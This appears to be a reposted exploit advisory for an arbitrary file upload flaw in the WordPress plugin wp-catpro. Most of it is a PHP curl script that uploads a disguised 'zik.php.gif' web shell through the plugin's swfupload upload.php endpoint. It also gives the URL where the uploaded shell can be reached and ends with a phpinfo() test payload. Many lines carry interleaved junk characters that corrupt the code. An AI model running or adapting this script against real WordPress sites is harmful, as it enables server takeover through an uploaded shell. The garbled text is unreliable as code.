WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------

9 i. }5 Y. i" C1 T8 I% m& j作者  => Zikou-16
( N6 w' e! a; A4 V邮箱 => zikou16x@gmail.com
2 G5 A! O7 ^( H1 y( @3 m测试系统 : Windows 7 , Backtrack 5r3
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####
2 c/ j6 ~: l# t  a+ _$ R
#=> Exploit 信息:
9 c3 |. o$ f% n/ x/ |& |8 g------------------
0 i/ G, S6 A: R! E2 _# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
3 a6 |& _; }; w$ E$ \# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------
! J6 K$ D! w# `- D
) X" f# D( W5 I5 c6 @2 u: T9 }#=> Exploit
2 P" v- a% |! l8 l2 _-----------
<?php
, U! R/ ], K1 p+ y
$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
; h( S% F4 a/ H- @+ \, p! O+ Bcurl_setopt($ch, CURLOPT_POST, true);
7 b- R6 U1 J- o! R7 o: Q/ Icurl_setopt($ch, CURLOPT_POSTFIELDS,
  d, I  x% L$ Y5 Narray('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
9 p3 l: O9 q1 h  S2 i$postResult = curl_exec($ch);
curl_close($ch);

print "$postResult";
/ m2 Z% N; t  I# r: I$ ]& ~4 N! u
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
+ N% m* F& H$ i  ?>
5 y, R/ B( Z' l7 q, _0 e, t. |, r<?php
- z) g6 y: H, O. I: e; U- U1 u2 h4 Cphpinfo();
9 B2 h2 }' M* \* C2 f1 j+ ?% x?>